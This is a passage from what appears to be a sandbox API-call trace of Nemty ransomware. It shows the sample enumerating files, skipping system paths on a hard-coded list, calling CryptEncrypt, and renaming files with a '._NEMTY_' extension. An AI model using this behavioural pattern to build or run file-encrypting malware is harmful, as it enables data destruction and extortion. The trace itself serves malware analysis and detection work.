ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.262] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.262] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.262] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.262] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.271] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.271] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.281] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.281] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.281] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.281] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.290] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.290] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.296] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.296] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.296] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.296] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.302] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.302] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.302] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.303] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0053.303] CloseHandle (hObject=0xffffffff) returned 0 [0053.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94268 [0053.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0053.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0053.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0053.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0053.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0053.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0053.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0053.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0053.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0053.303] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png._nemty_kgobjgd_")) returned 0 [0053.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0053.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0053.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0053.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0053.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0053.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0053.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0053.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0053.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0053.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0053.304] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e55, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="4to3Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0053.304] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2=".") returned 1 [0053.304] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="..") returned 1 [0053.304] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="...") returned 1 [0053.304] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="windows") returned -1 [0053.304] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0053.304] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="rsa") returned -1 [0053.304] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="NTDETECT.COM") returned -1 [0053.304] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="ntldr") returned -1 [0053.304] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="MSDOS.SYS") returned -1 [0053.304] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="IO.SYS") returned -1 [0053.304] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="boot.ini") returned -1 [0053.304] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="boot.ini") returned -1 [0053.304] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="AUTOEXEC.BAT") returned -1 [0053.304] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="ntuser.dat") returned -1 [0053.304] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="desktop.ini") returned -1 [0053.304] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="CONFIG.SYS") returned -1 [0053.304] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="RECYCLER") returned -1 [0053.304] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="BOOTSECT.BAK") returned -1 [0053.304] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="bootmgr") returned -1 [0053.304] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="programdata") returned -1 [0053.304] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="appdata") returned -1 [0053.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0053.304] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4to3Squareframe_Buttongraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0053.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0053.304] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4to3Squareframe_Buttongraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4to3Squareframe_Buttongraphic.png", lpUsedDefaultChar=0x0) returned 33 [0053.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0053.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f941c0 [0053.304] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4to3Squareframe_Buttongraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0053.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0053.304] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4to3Squareframe_Buttongraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4to3Squareframe_Buttongraphic.png", lpUsedDefaultChar=0x0) returned 33 [0053.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0053.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0053.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0053.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0053.305] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4to3Squareframe_Buttongraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0053.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0053.305] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4to3Squareframe_Buttongraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4to3Squareframe_Buttongraphic.png", lpUsedDefaultChar=0x0) returned 33 [0053.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0053.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0053.305] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4to3Squareframe_Buttongraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0053.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0053.305] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4to3Squareframe_Buttongraphic.png", cchWideChar=33, lpMultiByteStr=0x6345640, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4to3Squareframe_Buttongraphic.png", lpUsedDefaultChar=0x0) returned 33 [0053.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0053.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941c0 [0053.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94388 | out: hHeap=0x4f90000) returned 1 [0053.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94268 [0053.305] Sleep (dwMilliseconds=0x5) [0053.318] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd36d6070, dwHighDateTime=0x1d561e7)) [0053.319] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd36d6070, dwHighDateTime=0x1d561e7)) [0053.319] GetLastError () returned 0x5 [0053.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0053.319] GetLastError () returned 0x5 [0053.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0053.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0053.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0053.319] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0053.319] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0053.319] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0053.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0053.319] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="9ZMrDM+gy8c0GtxnyqrLmgQfQbUBLMl4mZBm3pWvjcyIO+PG9IBWVhEXA5oJyCsV\r\nAB1twpYSr1NokxXBdLfTjmZUXt+W7m3/96aT4xIcbP77T2hrtebz0gzTBgN+CQJj\r\nRlk9pEN1zVrl+u/b4TmTDpPzNKcL96LA7qajY6wtDs6BKCOnHLLT/121K7wGg0jY\r\n3fLWeXBZdOTBrw7CwQG5iTOX0YEGVPqbii+HRSXvixAK3A6GF5ZANlSPL13tKH3U\r\nSZOJ2cGPXNiFXKXsU5SCYOeJ0lWKF0fJqn9Rcd7LCv8UBNxsRZOBjZSfiRwuVB3L\r\n2V3ELCnyg9dGCgeexvBtzw==\r\n", pcchString=0x653ec5c) returned 1 [0053.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0053.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0053.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0053.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0053.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0053.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0053.319] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0053.319] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0053.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0053.320] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.320] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.329] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.329] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.329] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.329] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.338] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.338] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.347] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.348] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.357] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.357] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.357] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.357] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.366] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.367] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.376] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.376] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.385] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.385] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.385] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.385] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.394] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.394] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.394] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.394] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.404] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, 